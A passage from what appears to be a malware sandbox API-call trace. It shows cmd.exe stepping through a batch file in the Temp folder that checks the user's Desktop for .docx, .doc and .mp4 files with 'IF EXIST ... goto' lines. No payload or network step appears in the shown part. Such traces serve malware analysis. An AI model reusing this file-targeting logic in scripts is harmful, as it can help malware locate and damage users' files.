returned 0x4f58e0 [0038.296] GetProcessHeap () returned 0x4e0000 [0038.296] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.296] GetProcessHeap () returned 0x4e0000 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0038.297] _tell (_FileHandle=3) returned 2057 [0038.297] _close (_FileHandle=3) returned 0 [0038.297] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0038.297] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.297] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.297] GetLastError () returned 0x2 [0038.297] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.297] GetLastError () returned 0x6 [0038.297] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.297] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.298] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.298] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.298] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.298] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.298] SetConsoleInputExeNameW () returned 0x1 [0038.298] GetConsoleOutputCP () returned 0x1b5 [0038.298] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.298] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.298] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.298] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.299] GetProcessHeap () returned 0x4e0000 [0038.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0038.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e24, lpOverlapped=0x0) returned 1 [0038.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0038.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0038.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.300] GetFileType (hFile=0x74) returned 0x1 [0038.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0038.300] GetProcessHeap () returned 0x4e0000 [0038.300] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.300] GetProcessHeap () returned 0x4e0000 [0038.300] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.300] _tell (_FileHandle=3) returned 2059 [0038.300] _close (_FileHandle=3) returned 0 [0038.300] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.300] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0038.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0038.301] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e22, lpOverlapped=0x0) returned 1 [0038.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0038.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0038.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.301] GetFileType (hFile=0x74) returned 0x1 [0038.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0038.301] GetProcessHeap () returned 0x4e0000 [0038.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.301] GetProcessHeap () returned 0x4e0000 [0038.301] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.301] GetProcessHeap () returned 0x4e0000 [0038.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.301] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.301] GetProcessHeap () returned 0x4e0000 [0038.301] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.301] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.302] GetProcessHeap () returned 0x4e0000 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.302] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.302] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.302] GetProcessHeap () returned 0x4e0000 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.302] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.302] GetProcessHeap () returned 0x4e0000 [0038.302] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.302] GetProcessHeap () returned 0x4e0000 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.303] _tell (_FileHandle=3) returned 2084 [0038.303] _close (_FileHandle=3) returned 0 [0038.303] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0038.303] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.303] GetLastError () returned 0x2 [0038.303] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.303] GetLastError () returned 0x6 [0038.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.303] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.303] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.304] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.304] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.304] SetConsoleInputExeNameW () returned 0x1 [0038.304] GetConsoleOutputCP () returned 0x1b5 [0038.304] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.304] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.304] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.304] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.305] GetProcessHeap () returned 0x4e0000 [0038.305] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0038.305] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e09, lpOverlapped=0x0) returned 1 [0038.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0038.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0038.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.306] GetFileType (hFile=0x74) returned 0x1 [0038.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0038.306] GetProcessHeap () returned 0x4e0000 [0038.306] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.306] GetProcessHeap () returned 0x4e0000 [0038.306] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.306] _tell (_FileHandle=3) returned 2086 [0038.306] _close (_FileHandle=3) returned 0 [0038.306] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.306] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0038.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0038.307] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e07, lpOverlapped=0x0) returned 1 [0038.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0038.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0038.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.307] GetFileType (hFile=0x74) returned 0x1 [0038.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0038.307] GetProcessHeap () returned 0x4e0000 [0038.307] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.307] GetProcessHeap () returned 0x4e0000 [0038.307] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.307] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.307] GetProcessHeap () returned 0x4e0000 [0038.307] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.307] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.307] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.307] GetProcessHeap () returned 0x4e0000 [0038.307] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.307] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.307] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.308] GetProcessHeap () returned 0x4e0000 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.308] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.308] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.308] GetProcessHeap () returned 0x4e0000 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.308] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.308] GetProcessHeap () returned 0x4e0000 [0038.308] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.308] GetProcessHeap () returned 0x4e0000 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.308] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.309] _tell (_FileHandle=3) returned 2111 [0038.309] _close (_FileHandle=3) returned 0 [0038.309] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0038.309] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.309] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.309] GetLastError () returned 0x2 [0038.309] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.309] GetLastError () returned 0x6 [0038.309] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.309] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.309] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.309] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.310] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.310] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.310] SetConsoleInputExeNameW () returned 0x1 [0038.310] GetConsoleOutputCP () returned 0x1b5 [0038.310] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.310] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.310] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.310] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.311] GetProcessHeap () returned 0x4e0000 [0038.311] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0038.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dee, lpOverlapped=0x0) returned 1 [0038.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0038.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0038.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.311] GetFileType (hFile=0x74) returned 0x1 [0038.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0038.312] GetProcessHeap () returned 0x4e0000 [0038.312] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.312] GetProcessHeap () returned 0x4e0000 [0038.312] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.312] _tell (_FileHandle=3) returned 2113 [0038.312] _close (_FileHandle=3) returned 0 [0038.312] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.312] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0038.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0038.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dec, lpOverlapped=0x0) returned 1 [0038.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 